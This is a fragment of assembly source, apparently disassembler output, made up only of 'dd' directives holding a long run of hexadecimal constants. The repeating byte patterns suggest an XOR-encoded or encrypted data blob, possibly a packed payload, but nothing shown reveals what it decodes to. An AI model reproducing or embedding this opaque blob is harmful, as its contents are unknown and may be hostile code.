		dd 0ABB15DE1h, 0D5BDBA59h, 6DBE3256h, 75B13250h, 0BAB1BF59h
		dd 5DB13256h, 0AD333D36h, 58B13256h, 20D7CDE1h,	0D5B15381h
		dd 0EAB13DBFh, 45D7ED56h, 936DCA4Ch, 4EAA0328h,	93C06248h
		dd 57443256h, 0F9E75256h, 6F0E6809h, 8BD1AB44h,	9CD13256h
		dd 0BAB1325Eh, 400AC312h, 90AC1150h, 37B13237h,	20ECE4D6h
		dd 55D1539Dh, 9401509Ch, 8DB13237h, 0BA493256h,	0B54D5256h
		dd 0AEB13244h, 64AF8681h, 0CB9E82C9h, 0AD7933E8h, 4DA1FFEh
		dd 0FED7DDF9h, 0BAD069A6h, 0E5D75256h, 17D7ACCDh, 57D0B1E4h
		dd 5C0B5256h, 54CEF891h, 42E9E18Fh, 75B15308h, 0BAA2BC59h
		dd 0DFBE3256h, 0AEB1325Bh, 57B13ABFh, 201A3356h, 71353D3Eh
		dd 0EB313D99h, 8DB13256h, 32BE3256h, 5DB13251h,	0E9A18C36h
		dd 57D05426h, 0ABA3DB56h, 66B73256h, 1B0D5783h,	0A0D456F5h
		dd 423BDFD1h, 7E1DBF7Ah, 0AE4D3256h, 57B1CA56h,	0AF333D36h
		dd 0B3B13256h, 35AC2E8h, 75B1325Eh, 8B0FA26h, 544F6122h
		dd 0AEB1CB37h, 57B8B659h, 0F8D13256h, 1B305408h, 0EAD03E2Ch
		dd 62363D56h, 53B13256h, 5DB13244h, 18A32FB9h, 0E343DBD8h
		dd 0BB75205Dh, 2C26250Ah, 0EAB11491h, 0F4D7CE36h, 0DB50D890h
		dd 0D1BE3256h, 0AEB13257h, 37B132AAh, 0B858C1DDh, 0B7B13256h
		dd 0B597CF2Ch, 678F7242h, 9CA840Fh, 0F9B7F6EEh,	5BD07367h
		dd 0E7D13256h, 0A83E3D31h, 0DAB13256h, 12D0F1E1h, 0F4BE3256h
		dd 0BAB13257h, 0B4B132AAh, 0AEB13246h, 74A29C3Ah, 14AFBACEh
		dd 38BF2230h, 0B462275Dh, 75493256h, 0BAB1CA56h, 5DB13DBFh
		dd 0DBBDD756h, 0CA048DD5h, 0D1BDA6B7h, 0BBCAD111h, 52D13256h
		dd 7995FCB3h, 0ADD4D9D7h, 5DD0381Eh, 27BECB56h,	57B1324Eh
		dd 0ABA3B959h, 0D8583256h, 79B13256h, 9A2C715Dh, 28E3FBABh
		dd 172815C2h, 2EBE3256h, 57B1324Bh, 0ABA6B959h,	0C7583256h
		dd 9DB13256h, 3BB16E1Dh, 95B0BD22h, 439BBFDh, 63817DFAh
		dd 58B13257h, 0ABB12FD5h, 0C5595256h, 2B13256h,	0D152D48h
		dd 65727492h, 0FC6214EFh, 0F056E4DFh, 8677B330h, 0ABB153DBh
		dd 0D5B122BFh, 0CC4A4F56h, 0AEE1DA2Bh, 12F72968h, 0FB29530Dh
		dd 0A6333DA4h, 37B13256h, 0E8CA8830h, 0D5D0C3DDh, 0EAB1CA56h
		dd 75B122BFh, 803F3B56h, 0FFC63C6Ch, 20100C97h,	54D17834h
		dd 5EB132DDh, 0DAB132AEh, 0EAB128D2h, 0C2BE5256h, 0BAA1DBA8h
		dd 8D733256h, 85D190B2h, 0D6C448FCh, 7240B1h, 0D5D05D0Bh
		dd 0E13E3D56h, 9CB13256h, 0BAB13250h, 7D097D12h, 0AEB10CD0h
		dd 57B9B359h, 25BE3256h, 0D5B13254h, 0EAB15336h, 75BCB759h
		dd 0DCD13256h, 8407D4D7h, 3A55F5D7h, 0AED023C0h, 0AB493256h
		dd 6BD75256h, 62BEB9EEh, 75B13255h, 0DB69B930h,	0D1BE3256h
		dd 0AEB13250h, 0DCF08236h, 0ABB15388h, 0D5B13CBFh, 0C632C656h
		dd 0C9450638h, 0D25AAB20h, 5D87D339h, 0BE0A5256h, 0BEC7A49Eh
		dd 0ABB13251h, 0A7D89209h, 8B444C53h, 7B583256h, 0B1B13256h
		dd 6F376E87h, 0D22C0C53h, 8A7BC937h, 0A4B132DFh, 0D5B12ED6h
		dd 0FC383D56h, 9CB13256h, 0BAB13247h, 988A4AD7h, 7DB884B1h
		dd 0CE6F8524h, 11AAA055h, 20B13225h, 0F9583256h, 0C5B13256h
		dd 44C16B22h, 394F06DEh, 2E25F700h, 96373FCFh, 0ABB183ECh
		dd 0DAB132A3h, 0EAB12FDFh, 0A03B5256h, 0BAB126BFh, 98EA4E56h
		dd 513F8611h, 55D8A2D8h, 0DF386D27h, 1729BF36h,	0EAB15369h
		dd 8DB132AAh, 0DAB132A3h, 5DD0FCDDh, 0BE585256h, 60B13256h
		dd 0BCD9B186h, 21B7A6E5h, 68014EC0h, 13D84656h,	2916E3D7h
		dd 553F3D37h, 0A1B13256h, 57B130DCh, 0ABD05256h, 54BE5256h
		dd 0EAB13253h, 5753B330h, 0BAB15366h, 52B132AFh, 0AEB135D8h
		dd 56343D56h, 52B13256h, 56BE3256h, 0EAB13257h,	80B132AAh
		dd 0BA483256h, 5DA1DB56h, 40253256h, 24774514h,	615E266Ah
		dd 3D1E5CFh, 0EAB15AAEh, 75BDB559h, 31BE3256h, 5DB13250h
		dd 0AEB1B959h, 57B13256h, 0ABB4DB36h, 55AA3256h, 0BCE09670h
		dd 75B1B859h, 0DBE93256h, 5B583256h, 13B13256h,	29D594B4h
		dd 0A4B13210h, 0D5B129DCh, 0FF363D56h, 9CB13256h, 0BAB13246h
		dd 0B5DB9B47h, 23ED74D1h, 0F3A01E8Ah, 377AFA6Ch, 0D2583256h
		dd 90B13256h, 958832CBh, 0BAB153BDh, 5DB6B259h,	2ABE3256h
		dd 57B13257h, 0A4B132AFh, 0D5B122D9h, 0E0383D56h, 9CB13256h
		dd 0BAB13253h, 4F36C6ABh, 0A1B132DEh, 57B133DEh, 57D1C756h
		dd 0D5B121BEh, 5E972256h, 0F7161289h, 0ACD4B54Bh, 3E6D98ABh
		dd 56EEA89Eh, 57B123BEh, 3BCAEF56h, 68F9E7AAh, 5A812E95h
		dd 0B22E52C0h, 0E3EB10AAh
		dd 0A4B13237h, 0A9583256h, 59B13256h, 0BE802299h, 0D54408A7h
		dd 0E6373D56h, 15B13256h, 0B78616EFh, 86305409h, 0AED0B226h
		dd 314D5256h, 0C269D8D7h, 0B5B13237h, 0DDB6D3D7h, 0FFD13A1Ch
		dd 0B5D053B9h, 5DB133D0h, 0AEB1CE56h, 57B13EBFh, 0A1A6CB56h
		dd 0D924B1BDh, 3085A53h, 8DB132EDh, 0DB168336h,	0D7BE3256h
		dd 0AEB13259h, 57B138BFh, 34BAED56h, 0DE862E8Eh, 8A60B3E1h
		dd 0F703E3D7h, 0A9095120h, 3CC1292Eh, 0A2583256h, 61B13256h
		dd 4ADA8CBCh, 0F3DF7CCCh, 0EAEF51DCh, 75B6DB56h, 33FA3256h
		dd 0F644DF3Eh, 52B132A9h, 0DDBE3256h, 0ABB1325Ah, 0D5B7B959h
		dd 60BE3256h, 75B13256h, 3D13256h, 5B3B283h, 0AED0C2DDh
		dd 0BE4D5256h, 0ABB1325Ch, 46FE17AFh, 34E72D56h, 75D0A4BCh
		dd 0BABBDB56h, 0E30C3256h, 0CE6BE882h, 67A83DE5h, 2CBE3256h
		dd 0D5B1324Eh, 0EAB121BFh, 0FFD54056h, 54B9D39Fh, 0DD9DAFF8h
		dd 3E1D5E97h, 169BAB11h, 20BE3256h, 0D5B13251h,	0EAB0B059h
		dd 75483256h, 0BABADB56h, 754B3256h, 0CF145B9Bh, 0A4435C94h
		dd 0ABB4DBA8h, 0AA023256h, 0EA6A2C1Ah, 0CCD75256h, 53D1A27Fh
		dd 5DB1325Bh, 0C9110F67h, 448D322Ch, 0F95A297Fh, 263A549Ah
		dd 6CBE5337h, 75B13247h, 0BAB13EBFh, 0F333AC56h, 0F2059F9Fh
		dd 0D6C1F0CDh, 0A4B13282h, 0D5B133D0h, 0EAB1CB56h, 75B6B459h
		dd 31BE3256h, 5DB13257h, 47B132A3h, 57B1325Fh, 2654072Fh
		dd 0AA61119Dh, 61BE52D5h, 75B13242h, 0BAB13CBEh, 0A1DD0356h
		dd 0C9E6E647h, 0FDF9DE1Dh, 0F08F112Fh, 0D5B5BE59h, 55D73256h
		dd 75D0955Bh, 0BAB1CE56h, 0D50F5436h, 0AEBCDA9Fh, 0A03A3256h
		dd 9CEB6A30h, 0CF098BBFh, 8C9449A6h, 2C972EE9h,	0DAB13237h
		dd 0AE3A52A3h, 0CFD0C5DDh, 0AF443256h, 0AB483256h, 0D5B1CB56h
		dd 0EAA5B159h, 9DD13256h, 0BAB1325Eh, 0EA83AA8Bh, 8FCA1E48h
		dd 8E0F5408h, 0A4D1530Eh, 7E08FDE9h, 8BBCAD0Eh,	67583256h
		dd 33B13256h, 9D47854Ch, 25258C4h, 5A8A3CFh, 0FF7FC114h
		dd 0DAB1324Eh, 0EAB120D9h, 87305256h, 0B7070CA0h, 5DB137BFh
		dd 44D3D56h, 57D05453h,	2ABE5256h, 0D5B13254h, 5DBEE8DDh
		dd 75B153A7h, 0BA90B859h, 0B4D13256h, 0AEB13242h, 16F5211Fh
		dd 0C18C51E9h, 2477D7F2h, 0E0894953h, 14115560h, 0BAB1BB59h
		dd 5DD03256h, 0AEB1CE56h, 2E2F8A36h, 0A4D01E62h, 0D5B133D7h
		dd 0EAB1C756h, 9CB132AEh, 0BAB1325Fh, 0A411BD7Bh, 0A7EDCh
		dd 37B132B6h, 0ABB0B459h, 0B4483256h, 66BE3256h, 75B13242h
		dd 0BABFB759h, 54583256h, 16B13256h, 507DDE19h,	0A46E9BDAh
		dd 6BD13256h, 0CC1D192Ch, 0A60B5436h, 0B5D05327h, 5DB13ED6h
		dd 0A8343D56h, 58B13256h, 0ABB132D9h, 3CB13256h, 0EAB1325Eh
		dd 4E841D7Dh, 0E7CFAFB6h, 52D13256h, 0AEB130D1h, 0D6EF6556h
		dd 5C1674A7h, 0D544537Bh, 6BD75256h, 7A371F90h,	0BAD0E8E1h
		dd 5DB6DB56h, 0B7783256h, 0B403E4CCh, 0A4B132A2h, 0D5B133D5h
		dd 0EAB1CE56h, 8DB132A3h, 0DCD13256h, 3DD0E1DDh, 0AEB9DB36h
		dd 2C173256h, 0E339F095h, 6ABECF20h, 8CE05394h,	2B33E8E9h
		dd 0B5B13237h, 5DB110D7h, 27BE5256h, 57B13256h,	0ABB126BEh
		dd 8C107156h, 0B6A5C94Dh, 7E11C32Dh, 0F5D243A8h, 6428F637h
		dd 0A1D06C89h, 57B133D9h, 0ABB1C756h, 0D5A0B359h, 0E6583256h
		dd 0B1B13256h, 39D0C651h, 0C11D8A1Dh, 4703226Ch, 57B13242h
		dd 0E1ECCE8Eh, 0A24EBF87h, 0EAFF268Bh, 45F85816h, 0F5FB09B1h
		dd 5D443256h, 0AEB1CB56h, 57B138BFh, 0E79CE956h, 0C777D672h
		dd 0EACCE2E7h, 75B1C756h, 0BABADBAAh, 0E5553256h, 0FB279DC9h
		dd 0E89F538Fh, 0A4B13220h, 0D5B133DDh, 0EAB1C756h, 7AEB8736h
		dd 0BAD0F8E9h, 47343D56h, 0A1B13256h, 57B126DBh, 0ABBEDB56h
		dd 9BF43256h, 0E67D1171h, 0B14DA3E4h, 0C0E5729Ch, 0A1B132A9h
		dd 0A1B132AFh, 57B123DEh, 0A03A3D56h, 3CB13256h, 0EAB13250h
		dd 6456C4D2h, 0B5D1687Bh, 5DB12CDCh, 0B6373D56h, 0BEB13256h
		dd 0ABB13245h, 0C162995Fh, 0C9779542h, 14FF250Bh, 570A9343h
		dd 3D8DBA20h, 0A1428D59h, 57B132DDh, 0AB595356h, 8FB13256h
		dd 7884D8D7h, 0C3D1344Fh, 39BE533Eh, 5DB13257h,	2334BFA3h
		dd 0BEB72ADBh, 0ABB1325Ch, 6B5357CDh, 0F824B3C5h, 0F73888A8h
		dd 0BCA84991h, 5DB126BFh, 7D17D956h, 5E328D77h,	0F4253830h
		dd 0B0F45924h, 236990BAh, 0B533BF71h, 0B5B72824h, 5DB13EDFh
		dd 0A8303D56h, 58B13256h, 0ABB132D6h, 0D33BB56h, 0E5B72B2Dh
		dd 75B133D5h, 5244CA56h, 5DB10A63h, 0AEB120BFh,	9E56EC56h
		dd 1379F392h, 0C5D05155h, 364526A5h, 9D4EDBD3h,	0BAB130FFh
		dd 5DB123BFh, 0AC449856h, 0A0368DD3h, 514C5414h, 279CCB8Bh
		dd 0FA588466h, 0ECB13256h, 0DA80A7D0h, 0DD8852F6h, 57BBAFC2h
		dd 90A85EAAh, 0B2CA7FD4h, 0D5B13250h, 1E3B5256h, 75A3DB00h
		dd 8B843256h, 7AB63F56h, 88D465C4h, 965D00E1h, 603DDB76h
		dd 20E35309h, 0FB50B790h, 7AE73445h, 0BAB13AD8h, 5F373D56h
		dd 0CEB13256h, 0EFE35A37h, 0A558AEFEh, 0E2B13256h, 0C8B50C8h
		dd 0BBC54DBDh, 0F0DBB41h, 5DBBDBCAh, 29FF3256h,	513D1C8Ah
		dd 9568DAEAh, 0CB5887A9h, 0E7583445h, 68B13256h, 634D4633h
		dd 5CD4C0Ch, 6620D476h,	2B82B7DBh, 20D13440h, 54E53ADh
		dd 0EAA3DB36h, 526F3256h, 96407D25h, 7AC80402h,	32E3E9B2h
		dd 0EB2706B6h, 8AAE7EEFh, 50385376h, 0ECA21B2Bh, 71DBCEAEh
		dd 0AAB15AAFh, 0DCD13256h, 0EA3F4DBDh, 5258534Ah, 25B13256h
		dd 0D032E9F5h, 0E9BC723Eh, 75DBCE56h, 5361CDAEh, 5DB13253h
		dd 88FF7099h, 57A1DB3Ch, 0E9053256h, 6E266B23h,	0CD73C21Dh
		dd 0AC83C071h, 53EB6D96h, 5DB1325Eh, 8964B7B6h,	0BF2135E6h
		dd 2FBEF25Dh, 0D5B13373h, 0EAB0B659h, 0FC483256h, 0A3CA7FD4h
		dd 4D585250h, 0FB13256h, 0E486E667h, 20D84962h,	0DDA15D0h
		dd 5C59C74Eh, 0F73853D7h, 0BCA8490Dh, 5DB9DA36h, 541E3256h
		dd 0C2BC5C21h, 0B40824A0h, 8D80D3DEh, 13D0CBDDh, 76BC72EFh
		dd 0B6393D56h, 52B13256h, 0AEB134DFh, 573C3D56h, 20B13256h
		dd 3C4452AEh, 0EAB13244h, 0B7893189h, 0FCEF0A49h, 0DD20DCE3h
		dd 1F7797AAh, 64D0606Ah, 5848CE96h, 0B5E752FCh,	4C016937h
		dd 80E3CE37h, 0B058363Ch, 0BAB13256h, 0F63DBA30h, 28525906h
		dd 0BBB15A6Ah, 0D2583256h, 73B13256h, 0E1E892F9h, 0D248B632h
		dd 5DB13656h, 0AEBDB559h, 0D4BE3256h, 0ABB13250h, 0D5B1BE59h
		dd 0EADB3256h, 75B13BBFh, 0FD1D2356h, 0BF50D163h, 3C4E8CF4h
		dd 51A21B2Bh, 0ABA5DB36h, 40943256h, 13B65D88h,	0D32A7281h
		dd 286F3C15h, 2A09BE3Eh, 0CF49D64Ah, 4F3D3D0Ch,	42B13256h
		dd 0D5B13245h, 1CDCA083h, 0EDBAB888h, 90F51476h, 0B01F98h
		dd 27519F2Bh, 4ECF68D4h, 0ABB6DB50h, 210B3256h,	0CCCF76BCh
		dd 0F4BE538Ch, 0BAB1325Eh, 5DB3BE59h, 0CFD13256h, 57BCDB36h
		dd 0AEC03256h, 2D8EDCADh, 0EE02B5DDh, 7A795598h, 31D0C5E9h
		dd 44CA7FD3h, 46E75250h, 57B13244h, 0BC6D2CB1h,	0F2839A41h
		dd 35409201h, 0BF6A8E91h, 0E5EF396Bh, 0DABEF137h, 0AEB13257h
		dd 0BED152A3h, 0ABB1325Eh, 65535D05h, 7CD1A55Eh, 0CC33F537h
		dd 0BAB72158h, 0B4B17256h, 0AEB13242h, 89274495h, 16F50DFCh
		dd 2FBE0CB1h, 0A3FCF981h, 20910FE7h, 9328B091h,	4DB13445h
		dd 0BF583256h, 31B13256h, 2D39A231h, 2A57E480h,	0D51D7C0h
		dd 9FF2A3Dh, 0BB303D37h
		dd 0A4B13256h, 19BE5295h, 0BED153A9h, 0ABB13247h, 0ADC533E4h
		dd 0FEC8BE2h, 0AF2D7E33h, 930D4F44h, 100BB9C8h,	0A1B72B2Dh
		dd 57B126D9h, 0A6585256h, 53B13256h, 48781F10h,	861D8F85h
		dd 5FCB88A6h, 5D8EB137h, 0AE65B659h, 0D9BE3256h, 0ABB13248h
		dd 0D5A9BE59h, 0F9583256h, 96B13256h, 8EA778A6h, 7F34756Ah
		dd 0A34225FEh, 77B4A69Eh, 0D432EADBh, 51BE3046h, 0EAB1320Bh
		dd 75B135BFh, 0F2953256h, 0CF7B1C24h, 0AEB7B559h, 0E0D13256h
		dd 0CA6FB978h, 0D1A14DD5h, 0EAD0B659h, 80D13256h, 0BAB122BFh
		dd 4131C356h, 0FA22D1C9h, 0D8F7FA19h, 0A37CF315h, 1232533Ch
		dd 0E13E3D42h, 9CB13256h, 0BAB13250h, 1494B970h, 0D858410Fh
		dd 374ECDA9h, 0ABB3B659h, 8AE73256h, 0FAF6F537h, 75B13257h
		dd 4561DBAFh, 4958CDA9h, 91B13256h, 3E01BBD5h, 0B8B0B934h
		dd 30D7C88Ah, 365707E6h, 0B2D8F809h, 0BAB22211h, 0D7BE3256h
		dd 0AEB13257h, 0A815DBAAh, 0CB48CDA9h, 0D5B13ABFh, 62AF4956h
		dd 0E3D60E82h, 0B5D0538Bh, 5DB13AD7h, 0AC3B3D56h, 37B13256h
		dd 0A658F137h, 0CEB13256h, 4445EC4Eh, 0CF27B89Dh, 0E8E21A76h
		dd 0BD305203h, 0EC014CCEh, 51333D37h, 0CBB13256h, 8AE0EADDh
		dd 135DB937h, 0F4BE5236h, 0BAB13256h, 0B5D071E2h, 0AEB13256h
		dd 7D5BB30Ch, 0A4B72BC1h, 0D5B127D5h, 0E4585256h, 0CFB13256h
		dd 9FABD5CFh, 41BBCCB4h, 1657FB5Fh, 0DC445357h,	0B2CF4AE4h
		dd 0D5BBDB50h, 53D93256h, 19E489BFh, 7D9916B6h,	0B4B977DDh
		dd 0AEB1325Eh, 0FC4091Eh, 0DB41BB95h, 204834DFh, 94C9B0D5h
		dd 7AB5344Fh, 0BAB13ED3h, 5DB6DB56h, 0B7ED3256h, 6A8EC61h
		dd 0A1585326h, 0A7B13256h, 0AC52167Fh, 0DDB324F6h, 4278CA21h
		dd 5DB123BFh, 8BC4D456h, 445429A5h, 14D67976h, 0C87F685Fh
		dd 0EE737A6Dh, 743D3D56h, 42B13256h, 5D59CE36h,	0F4B13256h
		dd 0C078D8D7h, 0A44D344Fh, 0D5B133D0h, 8CD1C756h, 13D220EEh
		dd 31D0C5DDh, 44CF68E4h, 0AF373D50h, 0AEB13256h, 0D5C9806Dh
		dd 51BE344Fh, 0EAB133E7h, 75B6B959h, 38BE3256h,	5DB13257h
		dd 568FB9A3h, 376EB9AAh, 0CACBEFD6h, 0D5BBB159h, 0EF583256h
		dd 6CB13256h, 8E49F085h, 5CFE8459h, 0AEB13CBFh,	18131F56h
		dd 96C22F80h, 0FC7E2FACh, 3DEE9E9h, 75B13246h, 4EFB8C6Dh
		dd 5EBF7CACh, 0D2904CCFh, 26487BD3h, 2BB075A0h,	0D5EAB759h
		dd 65BE3256h, 75B13257h, 0B56831A3h, 5DB12BD7h,	0AEA5DB56h
		dd 5D123256h, 43162459h, 6235724Ch, 0B72D7766h,	164F5F7Ch
		dd 0FC583264h, 3DB13256h, 0AEB121BFh, 44B8C456h, 54EA9C52h
		dd 0CC33B963h, 949A76FBh, 40ABE595h, 5757B236h,	5DB13BBEh
		dd 9A3D1656h, 16FF85B4h, 0CAE9F437h, 0DA681937h, 0EAB122DFh
		dd 75BADB56h, 3BA33256h, 8F7E52B0h, 0FDD18880h,	0D0BE717Ch
		dd 0ABB1324Eh, 0D5B121BFh, 0AB265D56h, 86DD7C5Eh, 0DFD65366h
		dd 0C4415A60h, 3F62E48Bh, 9B095215h, 0A4AB85A9h, 0D5B131D0h
		dd 0A46AB256h, 0D034B937h, 53B72177h, 5DB1325Dh, 53AF2472h
		dd 0BC46534h, 0A4E643DCh, 0D5B133D1h, 673ACE56h, 73A22853h
		dd 0DBD15236h, 0DDD0CFDCh, 47D0C2B0h, 57B1325Ch, 61B91F09h
		dd 26AC64FAh, 328A0925h, 7591B059h, 814D3256h, 4A363D8Fh
		dd 0A1B13256h, 57B135DCh, 0AA343D56h, 2CB13256h, 12B5F4D5h
		dd 8A4FBDBFh, 758AC7A9h, 5DF2B659h, 0A6583256h,	59B13256h
		dd 4D146E08h, 203DCCDAh, 0F0B48FDFh, 7D583445h,	9DB13256h
		dd 503CF38h, 476314D0h,	0A84ECC05h, 610E3D36h, 0D5B121BFh
		dd 5F0A3B56h, 0EC4E7D97h, 6868B6A4h, 0E95611A6h, 0A56CDE38h
		dd 37D15337h, 431FD7D6h, 0D5B13250h, 0D3D7B4CEh, 14E9A708h
		dd 79D0C7DCh, 5DB13ABFh, 9395A156h, 0C4F949A3h,	26BE523Dh
		dd 0D5B13248h, 0EAA9B659h, 66583256h, 5FB13256h, 0FCF35ABEh
		dd 17F3223Ch, 0D2AEF7B5h, 6F1D32DCh, 0D5598CACh, 0B0B13256h
		dd 0EC48D8D7h, 0DCD1344Fh, 304AEDD7h, 0CFAEF0D6h, 0D0BB9A3h
		dd 5EB72B28h, 0D5B032EFh, 2A82C756h, 75B139BFh,	9C994F56h
		dd 2712AD8Ah, 90D62602h, 57B9B559h, 2DBE3256h, 0D5B13254h
		dd 41425336h, 2F33B9AFh, 0DAB72B28h, 5DB4BF59h,	2FD73256h
		dd 7B483B7h, 0ABB1BC59h, 0B4EA3256h, 94C9B0DFh,	0F0BE344Fh
		dd 0BAB13242h, 5DB13DBFh, 634BBF56h, 6CD4F8E5h,	596679E6h
		dd 3F00DE54h, 35305237h, 529A4FC5h, 0E5E28104h,	3D49F137h
		dd 0F7D05201h, 57B121BEh, 60229A56h, 1013E1AFh,	0B1B6C3AEh
		dd 8B209630h, 0D252B4E9h, 3CEB5336h, 0BD3F3D36h, 0BEB13256h
		dd 0ABB13258h, 0EB66050Eh, 14021329h, 2238823Fh, 0BA596694h
		dd 7B13256h, 3474D8D7h,	0D3BE344Fh, 0ABB13245h,	0D5B13CBFh
		dd 0A36C3856h, 0EB7C95F7h, 73211C2Eh, 3D065BB9h, 0A1418D59h
		dd 57B132DFh, 2E775356h, 0D3A223B7h, 0E7313D00h, 9CB13256h
		dd 0BAB1325Eh, 0EE45BB89h, 0DF92C895h, 48DC0B3Eh, 1E4ECA82h
		dd 0D3A22CBFh, 8C218636h, 14759FEEh, 0C682B7DBh, 0D7BE3440h
		dd 0AEB1325Eh, 57B3BB59h, 0CAD13256h, 56BEE2A9h, 0EAB13253h
		dd 8C3ACE36h, 53E3CB37h, 5DB13246h, 1BDD8ADDh, 4056FE1Ah
		dd 0FB05F32Eh, 137CED61h, 0EB3B3D06h, 8CB13256h, 0BA31323Eh
		dd 5DDBCE56h, 0E303CDAFh, 37B72B2Dh, 9FE5F7EEh,	54E535Eh
		dd 8CD16AAAh, 0B5DFC3D7h, 0FC6EB330h, 0A5EB53D2h, 146EB936h
		dd 488A7E64h, 2BB15A37h, 52BE3256h, 0EAB13257h,	7AB158AFh
		dd 0BAB133D2h, 0EF4ECE56h, 0A8A84C0Ch, 0FAB58C36h, 0CDE13F03h
		dd 8A4774E9h, 361CD37h,	75B1325Eh, 0EFF525B5h, 7D9965E9h
		dd 0AEA3DB37h, 0F1A33256h, 77A659C2h, 4CE72288h, 0F822335Dh
		dd 853D92CAh, 0B2333D95h, 3DB13256h, 0C85FFBD6h, 2D0E8DDh
		dd 525DB9AEh, 5CD08D36h, 8AD04BCCh, 70343D36h, 1B13256h
		dd 7753DA3h, 0CF638559h, 57B132BEh, 41306856h, 0D3A8AE59h
		dd 0EAA2DB36h, 64E43256h, 3CD89E45h, 0A717A2B3h, 0BD8FF7Eh
		dd 0A5DFF037h, 0A44453A5h, 0D5B13AD0h, 0E83E3D56h, 15B13256h
		dd 0B2C4B937h, 0E82E8D36h, 0BE587039h, 4FB13256h, 8B94E18h
		dd 5A7BCBBh, 432C9FBEh,	14A2C098h, 0BAA01EBEh, 51313D56h
		dd 0A1B13256h, 57B134DEh, 0AB3B3D56h, 80B13256h, 0EABBDB36h
		dd 5E043256h, 0C381693Fh, 0C0EE171Fh, 0AEB123BEh, 36902F56h
		dd 0E294B970h, 0F488410Fh, 80241BF3h, 0CBD7A91Ah, 0DBEF55CEh
		dd 2676A0A9h, 0C8D1344Fh, 325FE9D7h, 0ABA6B459h, 0C4593256h
		dd 51B13256h, 0E21B1458h, 22D5CA44h, 965B5745h,	0B0498EA0h
		dd 37EC530Eh, 0CD688D59h, 0EED0F8DDh, 6FBE3E23h, 8A4ECDD6h
		dd 0BAB139BFh, 0E7211B56h, 4E85C84Ch, 0A0BDCD4Ah, 0ABA1AEBEh
		dd 0D3595256h, 0F9B13256h, 0E617195Ah, 727EB35Fh, 5D085E9h
		dd 0BCE9F2E9h, 0BED0531Ah, 0ABB13250h, 24EAEA22h, 16782ED6h
		dd 9CB13A94h, 0BAB13258h, 34571A6Bh, 0AAF8D45Eh, 1428AC2Ah
		dd 0CBE4C8BDh, 0B3A78336h, 0E5D0FDDDh, 75B130D5h, 0DBE96456h
		dd 0D2BEDEDDh, 0AEB1325Ah, 573C3D36h, 0CDB13256h, 0B496B7ECh
		dd 0EAB139BFh, 0A4499756h, 1C8C35A5h, 0D18959Bh, 5B4DF6D5h
		dd 31E65200h, 0F8E9F1DDh, 0B5E6530Eh, 0EAB120BFh, 85429E56h
		dd 0E65448ECh, 6CA0110Ch, 7D365972h, 0BE25B366h, 0ABB13245h
		dd 594AC1D3h, 61E3AAABh, 1ECC89C7h, 8A9B7CC8h, 3C0657C8h
		dd 25D75205h, 0E56FB397h, 0CAE7902Dh, 0D5B1DAAAh, 6BEB3256h
		dd 6C2C8ABCh, 0BAA5DB50h
		dd 0CD213256h, 950179ADh, 6F474D0Bh, 0D3B4929h,	5995C6CAh
		dd 6148D062h, 0F7BE3A23h, 0BAB13251h, 5DB0BE59h, 25493256h
		dd 5158222Bh, 92B13256h, 0FF327841h, 3E6CA45h, 75B1325Ch
		dd 0CE97624Bh, 0A15C0B71h, 47E743D6h, 57B1325Dh, 389CB23Eh
		dd 7E3D7BA8h, 2FF97A2h,	75B133EEh, 0BAB13CBFh, 1504E256h
		dd 0C81AA4CBh, 0D97EFE62h, 0A0538E76h, 23353D96h, 0E5B13256h
		dd 75B135D1h, 0BB373D56h, 0A5B13256h, 0BA58CADDh, 0B2B13256h
		dd 0FF965B69h, 0D08CC615h, 0C13DFB69h, 9AAA9F70h, 0EFD1FBFDh
		dd 9A23CDAEh, 0CEB72B2Dh, 0E07EB330h, 0ABA2DAD8h, 71683256h
		dd 143F3714h, 66A06748h, 5F375BFAh, 754B94C6h, 0F3D0689Bh
		dd 57BFBD59h, 0A2583256h, 0D8B13256h, 7136D1A5h, 34F99B19h
		dd 0B5BD476Dh, 5DB1BAD2h, 0AEBADB56h, 6BFB3256h, 0DE9A234Bh
		dd 7D06DE9Eh, 0F43A5484h, 9231CBAAh, 0B4323DA6h, 3DB13256h
		dd 9517F3D7h, 0D0BE6BF5h, 0ABB13256h, 3CAFB837h, 0EAB13246h
		dd 8AD3E788h, 48C31664h, 0E77931F9h, 0CA503FB4h, 5841D1D6h
		dd 0ABB133D9h, 0BF59C756h, 3B1327Eh, 75B13251h,	0B5018D4Eh
		dd 0B445A48Ah, 514ECCB8h, 57BDB759h, 2DBE3256h,	0D5B13250h
		dd 0EAB1B159h, 7B583256h, 0DBB13256h, 0F7C78D78h, 4C10F851h
		dd 624B17B4h, 57CCBB4Eh, 0D5B135BFh, 0ACBD7256h, 8D07368Dh
		dd 0BAB134BFh, 6428F656h, 46CE2D89h, 0A84EC428h, 0CDD169AFh
		dd 54BEC9DDh, 0EAB13250h, 5B3D1D7h, 0E5D009C5h,	5DB120BFh
		dd 0FE189556h, 0C1A20104h, 64352AC7h, 0C7513E0h, 0B47FDBC4h
		dd 95305436h, 0B5593ACFh, 0C9B13256h, 387A78B9h, 0A2FB2B4Fh
		dd 72AA75F4h, 92084F69h, 0B1ECFDAEh, 89F4B937h,	0BABCDA36h
		dd 20C73256h, 0A5AD9E6Eh, 981F02CCh, 1C124DE6h,	64026A6Eh
		dd 6CBEFB37h, 75B13245h, 6E095436h, 5DB6DAEBh, 6C5B3256h
		dd 499F2CBFh, 69D06D13h, 2049325Ah, 0FA595203h,	0E8B13256h
		dd 433D0551h, 5353E708h, 3FF0EC79h, 0EEF373C7h,	94562120h
		dd 0C458520Eh, 77B13256h, 241F4B4h, 80244B32h, 9CDA8A9h
		dd 29CE8650h, 0BB3A5337h, 5375B1AAh, 0D95865A3h, 0AB13256h
		dd 0D9F4326Fh, 11DE40CDh, 0B1AA51Fh, 0AEBDB059h, 0D5BE3256h
		dd 0ABB13250h, 0D5B1B459h, 3E03256h, 75B13246h,	2260FD63h
		dd 185161A0h, 82B74E1Ah, 0C6304555h, 0ABB4B059h, 29D13256h
		dd 0B9D06D06h, 75B121BFh, 80068C56h, 7166874Fh,	0A90C96D4h
		dd 9F3DAA41h, 14D424CBh, 0D5497791h, 3B13256h, 75B1325Fh
		dd 0F8CBABA1h, 8375625Dh, 133F59Eh, 56B72B2Bh, 42B13256h
		dd 0D5B13244h, 589A9A20h, 0BAF8A1B0h, 3B3245F3h, 271563B3h
		dd 2549C9F9h, 0DBBE3A23h, 0ABB13250h, 6672B936h, 61D753E8h
		dd 2BE35248h, 0F70BB937h, 0A8B72B2Dh, 0CEB96DDDh, 0DE62B330h
